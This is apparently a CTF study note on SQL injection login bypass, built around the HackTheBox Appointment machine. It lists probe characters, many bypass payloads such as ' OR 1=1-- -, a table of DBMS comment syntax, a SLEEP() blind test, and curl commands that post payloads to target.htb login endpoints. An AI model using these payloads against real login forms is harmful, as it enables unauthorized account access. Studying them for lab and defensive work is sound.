Skip to content

πŸ’‰ Sql Injection

SQL Injection (SQLi) is a code injection technique that exploits vulnerabilities in an application's database layer. This guide focuses on what we've actually practiced β€” the login panel bypass β€” and the essential fundamentals.


Quickstart β€” The Universal Test

# The 5 characters that flag SQLi in 90% of CTF challenges:
'       # single quote
"       # double quote
\       # backslash (escape char, triggers errors)
)       # closing parenthesis (nested queries)
-- -    # comment (MySQL style)

Login Panel Bypass β€” SQLi in login forms

The typical pattern of a vulnerable login query is:

SELECT * FROM users WHERE username='$user' AND password='$pass'

If the app concatenates your input directly without sanitization, you can manipulate the SQL logic to authenticate without valid credentials. The goal is to make the WHERE condition always evaluate to TRUE.

Step 1 β€” Understand the injection context

Test both fields (username and password) separately:

# Test 1: Error with single quote in username?
Username: admin'
Password: test

# Test 2: Error with double quote?
Username: admin"
Password: test

# Test 3: Error in the password field?
Username: admin
Password: test'

# Test 4: Backslash?
Username: admin\
Password: test

πŸ’‘ If you see a SQL error β†’ the app is vulnerable and you know where to inject. πŸ’‘ If no error but the page changes (e.g. "Wrong password" vs blank page) β†’ possible boolean blind. πŸ’‘ If no visible difference β†’ try time-based blind. πŸ’‘ If no errors or changes but login works with admin'-- - β†’ the app is silently vulnerable β€” the SQL injection worked but errors are suppressed. This is the most common CTF scenario.

Real example β€” HTB Appointment

This exact bypass works on the Appointment machine:

1. Login form with username + password
2. Gobuster reveals no hidden paths β†’ the login IS the attack surface
3. Test: admin' in username β†’ no visible error
4. Payload: admin'-- - in username, empty password β†’ βœ… LOGIN
5. Underlying query: SELECT * FROM users WHERE username='admin'-- -' AND password=''
6. The -- - comments out the password check β†’ authenticated as admin

Key lessons from Appointment: - No error β‰  no vulnerability β€” the injection worked silently - Gobuster first β€” confirm there are no hidden endpoints before focusing on the login - admin'-- - with empty password β€” test this before any complex payload - The flag was on the dashboard β€” no privilege escalation, no file reading

Step 2 β€” Classic bypass payloads

Try these in the username field, leaving the password empty or with any value:

-- Universal payloads (work on MySQL, PostgreSQL, MSSQL)
admin'-- -
admin'#
admin'/*
' OR 1=1-- -
' OR '1'='1'-- -
' OR '1'='1'#
' OR '1'='1'/*
" OR "1"="1"-- -
" OR 1=1-- -
') OR ('1'='1
') OR 1=1-- -
admin' OR '1'='1

-- Without knowing any username β€” OR returns the first user
' OR '1'='1'-- -
' OR 1=1-- -
' OR 1=1#
' OR 1=1/*
OR 1=1-- -
OR '1'='1'-- -

-- Admin-specific β€” if you know the admin user exists
admin'-- -
admin' #
admin'/*

Step 3 β€” If there are parentheses in the query

Many apps use functions like MD5(), SHA1(), or simply parentheses:

-- Example of vulnerable query with hash:
-- SELECT * FROM users WHERE (username='$user') AND (password=MD5('$pass'))

') OR 1=1-- -
') OR ('1'='1
') OR 1=1#
') OR ('1'='1')-- -

-- Double parentheses
')) OR 1=1-- -
')) OR ('1'='1

-- With hash on password
admin')-- -
') OR 1=1) AND ('x'='x
' OR 1=1) AND MD5('x')=MD5('x

DBMS-specific payloads

DBMS Payload Note
MySQL admin'-- - Space after -- is mandatory
MySQL admin'# # doesn't need a space
MySQL admin'/* Unclosed inline comment
PostgreSQL admin'-- -- without extra space
PostgreSQL admin'/**/ Inline comment
MSSQL admin'-- Same as PostgreSQL
Oracle admin'-- Oracle -- needs a space
SQLite admin'-- -- with or without space

Quick checklist for login forms

  1. Test ' in username β†’ if SQL error β†’ vulnerable
  2. admin'-- - β†’ classic bypass if admin exists
  3. ' OR 1=1-- - β†’ bypass without knowing a username
  4. ') OR 1=1-- - β†’ if there are parentheses
  5. ' OR 1=1# β†’ alternative comment
  6. If nothing works β†’ try time-based blind with SLEEP()
  7. Don't forget the password field β†’ sometimes it's vulnerable even if username isn't

curl for manual form testing

# Basic POST
curl -d "user=admin'-- -&pass=" http://target.htb/login.php
curl -d "user=' OR 1=1-- -&pass=" http://target.htb/login.php

# With --data-urlencode if you need explicit encoding
curl --data-urlencode "user=' OR 1=1-- -" --data-urlencode "pass=" http://target.htb/login.php

# JSON login
curl -X POST http://target.htb/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin'"'"'-- -","password":"test"}'

# Follow redirects and show headers (to see session Set-Cookie)
curl -d "user=admin'-- -&pass=" http://target.htb/login.php -L -v

Common CTF errors

Error Solution
Single quotes don't break the query Try double quotes, backslash, parentheses, or no quote (integer context)
The comment doesn't work Try -- -, --, #, /**/, or ; (stacked)
No visible difference between true/false Try time-based: ' OR IF(1=1,SLEEP(3),0)-- -
Server uses addslashes() / magic quotes Try admin\' OR 1=1-- - (backslash escapes the escape)

Machines: [[πŸ“… Appointment]]

Guides: [[🐬 MySQL]], [[πŸ’£ Gobuster]]


References